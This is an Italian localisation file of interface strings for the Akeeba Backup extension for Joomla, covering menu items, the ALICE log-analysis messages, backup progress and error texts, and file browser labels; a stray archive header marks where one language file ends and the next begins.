COM_AKEEBABACKUP_FORMFIELD_BACKUPPROFILES_NONE="(Nessuno)"

;; Voci di menu personalizzate (editor menu backend)
;; ================================================================================
COM_AKEEBABACKUP_VIEW_CPANEL_TITLE="Pannello di controllo"
COM_AKEEBABACKUP_VIEW_CPANEL_DESC="La pagina principale di Akeeba Backup che consente di configurare, eseguire, gestire e ripristinare i backup."

COM_AKEEBABACKUP_VIEW_BACKUP_TITLE="Backup"
COM_AKEEBABACKUP_VIEW_BACKUP_DESC="Esegui un backup"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_LABEL="Forza profilo di backup"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_DESC="Seleziona il profilo di backup da attivare prima di eseguire il backup. Scegli '(Nessuno)' per utilizzare il profilo di backup corrente, qualunque esso sia."
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_LABEL="Avvia immediatamente"
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_DESC="Il backup deve avviarsi immediatamente? In tal caso l'utente non avrà la possibilità di inserire una descrizione e dei commenti per il backup."
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_LABEL="Nascondi barra degli strumenti"
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_DESC="La barra degli strumenti con i pulsanti Aiuto e Pannello di controllo deve essere nascosta?"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_LABEL="URL di ritorno"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_DESC="Inserisci un URL interno a cui tornare al termine del backup. Ad esempio: inserisci <code>index.php</code> per tornare al pannello di controllo di Joomla o <code>index.php%3Foption%26com_akeeba</code> per tornare al pannello di controllo di Akeeba Backup. <br/> <strong>ATTENZIONE</strong> A causa del funzionamento del gestore menu di Joomla!, l'URL inserito DEVE essere codificato come URL. Puoi farlo salvando la voce di menu <em>due volte di seguito</em>. Si tratta di un bug noto / funzionalità mancante in Joomla! stesso."

COM_AKEEBABACKUP_VIEW_CONFIGURATION_TITLE="Configurazione"
COM_AKEEBABACKUP_VIEW_CONFIGURATION_DESC="Configura il profilo di backup attualmente attivo."

COM_AKEEBABACKUP_VIEW_MANAGE_TITLE="Gestisci backup"
COM_AKEEBABACKUP_VIEW_MANAGE_DESC="Gestisci i tentativi di backup, inclusa la scelta di ripristinare un backup precedente."

COM_AKEEBABACKUP_VIEW_RESTORE_TITLE="Ripristina ultimo backup"
COM_AKEEBABACKUP_VIEW_RESTORE_DESC="Ripristina l'ultimo backup eseguito con uno specifico profilo di backup. Si prega di leggere la documentazione."
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_LABEL="Profilo di backup"
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_DESC="Ripristina l'ultimo backup eseguito con questo profilo di backup. <strong>IMPORTANTE!</strong> Cercherà solo l'ultimo backup eseguito con questo profilo. L'archivio di backup DEVE esistere sul tuo server. Se lo hai eliminato, o se è archiviato in remoto, riceverai un errore. Il ripristino di backup archiviati in remoto richiede di andare prima in Gestisci backup e recuperarli sul tuo server."

COM_AKEEBABACKUP_VIEW_TRANSFER_TITLE="Procedura guidata trasferimento sito"
COM_AKEEBABACKUP_VIEW_TRANSFER_DESC="Consente di ripristinare l'ultimo backup in una posizione/server diverso. <strong>IMPORTANTE!</strong> Cercherà solo l'ultimo backup eseguito. L'archivio di backup DEVE esistere sul tuo server. Se lo hai eliminato, o se è archiviato in remoto, ti verrà chiesto di eseguire un nuovo backup. Il trasferimento di backup archiviati in remoto richiede di andare prima in Gestisci backup e recuperarli sul tuo server."
PK     \-  #  language/it-IT/com_akeebabackup.ininu [        COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_CORE="Akeeba Backup CORE <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_PRO="Akeeba Backup Professional <small>for Joomla!&trade;</small>"

COM_AKEEBABACKUP_ALICE="Risoluzione problemi - ALICE"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_HEAD="Analisi del registro completata"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERROR="Errore rilevato"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERRORHELP="Se non si comprende il significato dell'errore sopra indicato e si dispone di un abbonamento di supporto attivo sul nostro sito, è possibile aprire una richiesta di assistenza includendo tutto il testo presente in questa pagina. Questo ci consentirà di aiutarti nel modo più efficiente possibile. Grazie!"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_NEXTSTEPS="Se la soluzione presentata sopra non ha aiutato a risolvere il problema e si dispone di un abbonamento di supporto attivo sul nostro sito, aprire una richiesta di assistenza includendo: 1. un file ZIP con il file di registro del backup; e 2. il testo presente in questa pagina. Si prega di non includere <em>solo</em> queste informazioni, in quanto rallenterebbe le nostre risposte e le renderebbe meno accurate. Cercare di descrivere il problema del backup in modo più dettagliato, ad esempio il motivo per cui si ritiene che ci sia un problema, quando il problema ha iniziato a verificarsi, eventuali misure correttive adottate e qualsiasi informazione che si ritiene utile per aiutarci a comprendere meglio la situazione."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SOLUTION="Possibile soluzione:"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY="ALICE ha terminato l'analisi del registro. Sono stati eseguiti in totale %d controlli diversi."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_ERRORS="È stato rilevato un problema grave che potrebbe aver causato il fallimento del backup."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_SUCCESS="Non sono stati rilevati problemi con il backup."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_WARNINGS="Sono stati rilevati solo alcuni problemi minori che in genere non causano il fallimento del backup."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_WARNINGS="Avvisi rilevati"
COM_AKEEBABACKUP_ALICE_ANALYZE="Analizza registro"
COM_AKEEBABACKUP_ALICE_AUTORUN_NOTICE="Attendere. L'analisi del registro inizierà a breve."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM="Verifica degli errori del filesystem"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES="Directory di grandi dimensioni"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_ERROR="Le seguenti directory contengono un numero molto elevato di elementi: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_SOLUTION="È consigliabile passare al motore di scansione <strong>Large Site Scanner</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES="Problemi con file di grandi dimensioni"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_ERROR="I seguenti file sono troppo grandi e possono causare problemi al backup: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_SOLUTION="Prova ad escludere questi file utilizzando la funzione Esclusione file e directory o eliminali se sei sicuro di non averne bisogno nel tuo sito."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES="Installazioni multiple di Joomla!"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_ERROR="Sono state trovate installazioni di Joomla! nelle seguenti sottodirectory: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_SOLUTION="È consigliabile escludere queste sottodirectory poiché potrebbero causare problemi di timeout."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS="Backup precedenti inclusi"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_ERROR="I seguenti backup precedenti sono inclusi nel backup corrente: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_SOLUTION="Elimina o escludi questi dal backup."
COM_AKEEBABACKUP_ALICE_ANALYZE_LABEL_PROGRESS="Avanzamento analisi"
COM_AKEEBABACKUP_ALICE_ANALYZE_RAW_OUTPUT="L'analizzatore di registro ha rilevato uno o più problemi con il backup. Se seguire i suggerimenti di questo analizzatore e le istruzioni della documentazione per la risoluzione dei problemi non funziona e si dispone di un abbonamento attivo sul nostro sito, aprire un nuovo ticket incollando il seguente <em>output di testo dell'analisi del registro</em> per aiutarci a fornire assistenza più rapida."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS="Verifica dei requisiti di sistema"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE="Tipo e versione del database"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_SOLUTION="Akeeba Backup supporta solo MySQL 5.0.47 o versioni successive"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNKNOWN="Impossibile rilevare il tipo di database. Tipo rilevato: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNSUPPORTED="Il server del database non è ancora supportato. Tipo di database rilevato: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_VERSION_TOO_OLD="Versione del database obsoleta. Versione rilevata: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS="Permessi del database"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_ERROR="Sembra che non sia possibile eseguire istruzioni SHOW TABLE e/o SHOW VIEW sul proprio database."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_SOLUTION="Contattare il provider di hosting"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY="Memoria disponibile"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_SOLUTION="Contattare il provider di hosting e richiedere istruzioni per aumentare il limite di memoria PHP."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_TOO_FEW="Akeeba Backup necessita di almeno 16 MB di memoria disponibile. Memoria disponibile rilevata: %s MB"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION="Versione PHP"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_ERR_TOO_OLD="Versione PHP obsoleta. Versione rilevata: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_SOLUTION="Akeeba Backup richiede PHP 5.6 o PHP 7"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIMEERRORS="Verifica degli errori di runtime"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL="Integrità dell'installazione"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_ERROR="Sembra che la propria installazione sia danneggiata. Questo può accadere quando il provider di hosting applica regole di sicurezza molto restrittive, identificando erroneamente i file di Akeeba Backup come minacce alla sicurezza e cancellandoli o rinominandoli senza avvisarti."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_SOLUTION="Reinstallare Akeeba Backup <strong>senza disinstallarlo</strong>. Se questo non aiuta, contattare immediatamente il proprio provider di hosting."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME="Database aggiuntivo - Inclusione del database Joomla"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_ERROR="Hai aggiunto il database Joomla come database aggiuntivo; alcuni server potrebbero rifiutare una seconda connessione allo stesso database, causando un errore nel backup"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_SOLUTION="Rimuovere il database Joomla dai database aggiuntivi"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_NO_PROFILE="Impossibile rilevare il profilo utilizzato, test saltato"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG="Database aggiuntivo - Dettagli di accesso errati"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_ERROR="Uno o più database aggiuntivi hanno dettagli di accesso non validi"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_SOLUTION="Rivedere i dettagli di connessione dei database aggiuntivi"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES="File di registro degli errori"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_FOUND="I file di registro degli errori sono inclusi nell'archivio di backup:<br/>%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_SOLUTION="È possibile escludere questi file utilizzando la seguente espressione regolare: <strong>#(/php_error_cpanel\.|php_error_cpanel\.|/error_)log#</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR="Errori fatali"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_ERROR="Si è verificato il seguente errore fatale durante l'esecuzione del backup. Esaminarlo e risolverlo prima di continuare: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_SOLUTION="Se non si comprende il significato di questo messaggio e si dispone di un abbonamento attivo sul nostro sito, aprire un nuovo ticket di assistenza assicurandosi di: 1. aver compresso e allegato il file di registro del backup e 2. aver incollato l'output di testo visibile nella parte superiore di questa pagina."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD="Problemi nel salvataggio dello stato del motore di backup"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_SOLUTION="Sembra che una singola richiesta sia stata elaborata più volte dal server. Questo causa errori durante il processo di backup o archivi corrotti; contattare il provider di hosting e segnalare questo problema."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_STARTING_MORE_ONCE="Tentativo di avviare il passaggio %s più di una volta."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE="Motore di post-elaborazione e dimensione delle parti dell'archivio"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_ERROR="È stato trovato un motore di post-elaborazione, ma non è impostata alcuna dimensione per le parti; questo potrebbe causare problemi di timeout"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_SOLUTION="Impostare una dimensione per le parti nella configurazione del profilo di backup."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT="Timeout durante il backup"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_KETTENRAD_BROKEN="C'è già un problema con il salvataggio dello stato del motore di backup. Risolvere il problema prima di continuare."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_MAX_EXECUTION="Lo script di backup ha raggiunto il limite di timeout. Timeout rilevato: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_SOLUTION="Provare a impostare il tempo di esecuzione minimo a 1, il tempo di esecuzione massimo a 10 secondi (o, se il timeout PHP è inferiore a 10 secondi, utilizzare il 75% del timeout PHP), bias di runtime al 75%"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS="Numero di tabelle in fase di salvataggio"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_ERROR="Si sta tentando di eseguire il backup di troppe tabelle. Evitare di eseguire il backup di diverse installazioni Joomla! contemporaneamente."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_SOLUTION="È possibile escludere le tabelle non fondamentali utilizzando la seguente espressione regolare: <strong>!/^#__/</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS="Conteggio delle righe della tabella"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ERROR="Si sta tentando di eseguire il backup di tabelle con un elevato numero di righe (più di 1 milione):\n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ROWS="righe"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_SOLUTION="È consigliabile escludere queste tabelle utilizzando la funzione <strong>Esclusione tabelle database</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_TABLE="Tabella"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND="Problemi nella scrittura dell'archivio di backup"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_ERROR="Impossibile aprire il file dell'archivio per l'aggiunta."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_SOLUTION="Verificare di avere spazio su disco sufficiente, o se le risorse si stanno esaurendo, oppure se è necessario impedire al backup di sistema (Windows) e alla scansione antivirus di interferire durante l'esecuzione del backup."
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_HEADER="Analisi del registro non riuscita"
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_INFO="L'analisi del registro è stata interrotta. L'analizzatore di registro ha segnalato il seguente errore:"
COM_AKEEBABACKUP_ALICE_ERR_CANNOT_OPEN_LOGFILE="Analisi del file di registro non riuscita: impossibile aprire il file di registro %s in lettura."
COM_AKEEBABACKUP_ALICE_HEADER_CHECK="Controllo eseguito"
COM_AKEEBABACKUP_ALICE_HEADER_RESULT="Risultato"

COM_AKEEBABACKUP_ALICE_ERR_NOLOGS="Non sono stati trovati file di registro per i backup <strong>non riusciti</strong>."
COM_AKEEBABACKUP_ALICE_HEAD_ONLYFAILED="ALICE funziona solo sui backup <em>non riusciti</em>"
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_SHOWINGLOGS="ALICE è uno strumento per analizzare i file di registro dei backup <em>non riusciti</em> e — nella maggior parte dei casi — fornire la causa più probabile dell'errore. Non è destinato ad analizzare i file di registro dei backup riusciti. Farlo restituirebbe risultati privi di senso, fuorvianti o del tutto errati. Per questo motivo verranno mostrati solo i file di registro dei backup <em>non riusciti</em>."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_WHATISFAILED="Ricordare che i backup che non hanno completato il caricamento dell'archivio di backup nello storage remoto non sono considerati non riusciti. La causa principale di tali problemi non può comunque essere rilevata da ALICE. In caso di questo tipo di problema è necessario aprire un ticket di supporto nella sezione Supporto del nostro sito. Se Akeeba Backup Professional è stato installato sul proprio sito da un'altra persona, contattare quella persona; in tal caso non sarà possibile aprire un ticket di supporto sul nostro sito."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_IFNOFAILED="Se il backup non è riuscito ma non lo si vede in questa pagina, attendere <em>tre (3) minuti</em>, tornare alla pagina del Pannello di controllo di Akeeba Backup e poi tornare qui. Il motivo è il seguente: in alcuni casi l'errore del backup è causato da un errore del server. In questi casi il backup viene contrassegnato come ancora in corso anziché come non riuscito, poiché PHP smette di funzionare e il nostro codice PHP che avrebbe contrassegnato il backup come non riuscito non ha la possibilità di essere eseguito. Quando si visita la pagina del Pannello di controllo, qualsiasi backup contrassegnato come ancora in corso da più di 3 minuti verrà contrassegnato come non riuscito. Da qui la necessità di attendere e <em>poi</em> tornare alla pagina del Pannello di controllo."

COM_AKEEBABACKUP_BACKUP="Esegui backup ora"
COM_AKEEBABACKUP_BACKUP_ANALYSELOG="Analizza file di registro (ALICE)"
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_1="Lo Script di ripristino di Akeeba Backup sarà accessibile solo se si fornisce la password impostata nella pagina precedente, prima di fare clic sul pulsante Esegui backup ora. Se non si ricorda di aver impostato una password, il browser ha compilato automaticamente la password nella pagina Configurazione <strong>senza chiedere conferma</strong>. Questo comportamento è tipico di molti gestori di password e browser."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_2="I browser e i gestori di password moderni non ci consentono di ignorare questo comportamento. Abbiamo inserito una difesa JavaScript contro questo tipo di compilazione automatica non consensuale del campo password nella pagina Configurazione. Tuttavia, se si salva la pagina Configurazione entro circa mezzo secondo dal caricamento, questa difesa non avrà il tempo di essere eseguita."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_HEADER="AVVISO: È stata impostata una password per lo Script di ripristino"
COM_AKEEBABACKUP_BACKUP_DEFAULT_DESCRIPTION="Backup eseguito il"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_AUTOBACKUP="Il backup automatico non può essere avviato perché la directory di output non è scrivibile. Seguire le istruzioni di seguito per risolvere il problema."
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_COMMON="Per risolvere il problema, andare alla <a href=\"%s\">Pagina di configurazione</a> e impostare la Directory di output su <code>[DEFAULT_OUTPUT]</code> (tutto in maiuscolo, incluse le parentesi). Se il problema persiste, consultare <a href=\"%s\">le istruzioni per la risoluzione dei problemi</a>"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_NORMALBACKUP="Akeeba Backup non può eseguire il backup del sito perché la directory di output non è scrivibile. Seguire le istruzioni di seguito per risolvere il problema."
COM_AKEEBABACKUP_BACKUP_ERROR_PROFILE_NO_ACCESS="Non si dispone dell'accesso a questo profilo di backup."
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFAILED="Backup non riuscito"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFINISHED="Backup completato con successo"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPRETRY="Backup interrotto e ripresa automatica in corso"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPWITHRETURNURLFINISHED="Il processo è stato completato con successo"
COM_AKEEBABACKUP_BACKUP_HEADER_STARTNEW="Avvia un nuovo backup"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT="Commento al backup"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT_HELP="Verrà visualizzato sia nella pagina Gestione backup sia all'interno dell'archivio di backup (nel file installation/README.html) per comodità."
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION="Breve descrizione"
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION_HELP="Verrà visualizzato nella pagina Gestione backup per comodità."
COM_AKEEBABACKUP_BACKUP_LABEL_DETECTEDQUIRKS="Akeeba Backup potrebbe non funzionare come previsto"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_FINISHED="Finalizzazione del processo di backup"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INIT="Inizializzazione del processo di backup"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INSTALLER="Incorporamento del programma di installazione nell'archivio"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKDB="Backup dei database in corso"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKING="Backup dei file in corso"
COM_AKEEBABACKUP_BACKUP_LABEL_PROGRESS="Avanzamento backup"
COM_AKEEBABACKUP_BACKUP_LABEL_QUIRKSLIST="Akeeba Backup ha rilevato i seguenti potenziali problemi:"
COM_AKEEBABACKUP_BACKUP_LABEL_RESTORE_DEFAULT="Ripristina predefinito"
COM_AKEEBABACKUP_BACKUP_LABEL_START="Esegui backup ora!"
COM_AKEEBABACKUP_BACKUP_LABEL_WARNINGS="Avvisi"
COM_AKEEBABACKUP_BACKUP_LBL_EXPLAIN_PROFILES="È possibile modificare il profilo di backup attivo sopra per eseguire un backup con impostazioni diverse. I profili di backup possono essere creati nella pagina Profili."
COM_AKEEBABACKUP_BACKUP_LBL_UPGRADENAG="Stanco di vedere questa pagina? Puoi automatizzare i tuoi backup con Akeeba Backup Professional."
COM_AKEEBABACKUP_BACKUP_STATS="Statistiche di backup"
COM_AKEEBABACKUP_BACKUP_STATUS_NONE="Nessun backup eseguito"
COM_AKEEBABACKUP_BACKUP_TEXT_AVGWARNING="Si sta utilizzando AVG Antivirus con Link Scanner abilitato. Ciò è noto per causare problemi con il backup. Disabilitare la funzione Link Scanner se si riscontrano problemi.\n\nSi desidera continuare nonostante questo avviso?"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKINGUP="<strong>NON</strong> navigare verso un'altra pagina, passare a un'altra scheda/finestra del browser o passare a <em>un'altra applicazione</em> finché non viene visualizzato un messaggio di completamento o di errore. Assicurarsi che il dispositivo non vada in modalità sospensione durante il backup."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILED="L'operazione di backup è stata interrotta a causa di un errore.<br />L'ultimo messaggio di errore era:"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILEDRETRY="L'operazione di backup è stata interrotta a causa di un errore. Tuttavia, Akeeba Backup tenterà di riprendere il backup. Se non si desidera riprendere il backup, fare clic sul pulsante Annulla di seguito."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFINISHED="Backup terminato il"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT="Backup interrotto"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT_DESC="Il backup riprenderà tra %d secondi"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPRESUME="Backup ripreso il"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPSTARTED="Backup avviato il"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPWARNING="Il backup ha generato un avviso"
COM_AKEEBABACKUP_BACKUP_TEXT_BTNRESUME="Riprendi"
COM_AKEEBABACKUP_BACKUP_TEXT_CONGRATS="Congratulazioni! Il processo di backup è stato completato con successo.<br/>È ora possibile navigare verso un'altra pagina."
COM_AKEEBABACKUP_BACKUP_TEXT_LASTERRORMESSAGEWAS="Per informazione, l'ultimo messaggio di errore era:"
COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE="Ultima risposta del server %s secondi fa"
COM_AKEEBABACKUP_BACKUP_TEXT_PLEASEWAITFORREDIRECTION="Attendere; si verrà reindirizzati alla pagina successiva.<br/>Questa operazione potrebbe richiedere da 5 a 30 secondi, a seconda della connessione Internet."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAIL="Fare clic sul pulsante 'Visualizza registro' nella barra degli strumenti per visualizzare il file di registro di Akeeba Backup per ulteriori informazioni."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAILPRO="Fare clic sul pulsante 'Analizza registro' di seguito per fare in modo che Akeeba Backup analizzi il suo file di registro per ulteriori informazioni."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVE="Si consiglia vivamente di seguire le istruzioni passo passo nella nostra <a href=\"%s\">procedura guidata di risoluzione dei problemi</a> per risolvere facilmente il problema autonomamente."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVEPRO="Seguire i suggerimenti di ALICE, il nostro analizzatore di registro, potrebbe non essere sufficiente. L'analizzatore automatico dei registri non può coprire tutti i possibili casi di problemi."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_CORE="Se questo non aiuta, si può valutare di <a href=\"%s\">acquistare un abbonamento</a> per poter richiedere supporto nel nostro <a href=\"%s\">sistema di ticket di supporto</a>."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_LOG="Se si apre un ticket nel nostro sistema, ricordarsi di comprimere in ZIP e allegare il proprio <a href=\"%s\">file di registro del backup</a> nel messaggio in modo che possiamo aiutare più rapidamente."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_PRO="Se questo non aiuta, non esitare a richiedere supporto nel nostro <a href=\"%s\">sistema di ticket di supporto</a>. Tenere presente che è necessario un abbonamento attivo per richiedere assistenza tramite il sistema di ticket. Se Akeeba Backup Professional è stato installato sul sito da una terza parte — ad es. il proprio sviluppatore web — non contattare Akeeba Ltd per il supporto. Contattare invece la persona che ha installato il software sul sito e richiedere assistenza per risolvere il problema."
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRY="Il backup riprenderà tra"
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRYSECONDS="secondi"
COM_AKEEBABACKUP_BACKUP_TROUBLESHOOTINGDOCS="Documentazione per la risoluzione dei problemi"

COM_AKEEBABACKUP_BROWSER_ERR_BASEDIR="La directory specificata è soggetta a restrizioni open_basedir. Non può essere utilizzata per l'output del backup né è possibile elencare il suo contenuto, se presente."
COM_AKEEBABACKUP_BROWSER_ERR_NONROOT="Per informazione: questa directory è al di fuori della web root del sito."
COM_AKEEBABACKUP_BROWSER_ERR_NOTEXISTS="La directory specificata non esiste!"
COM_AKEEBABACKUP_BROWSER_LBL_GO="Vai"
COM_AKEEBABACKUP_BROWSER_LBL_GOPARENT="&lt;su di un livello&gt;"
COM_AKEEBABACKUP_BROWSER_LBL_USE="Usa"

COM_AKEEBABACKUP_BUADMIN="Gestione backup"
COM_AKEEBABACKUP_BUADMIN_TABLE_CAPTION="Tabella dei tentativi di backup"
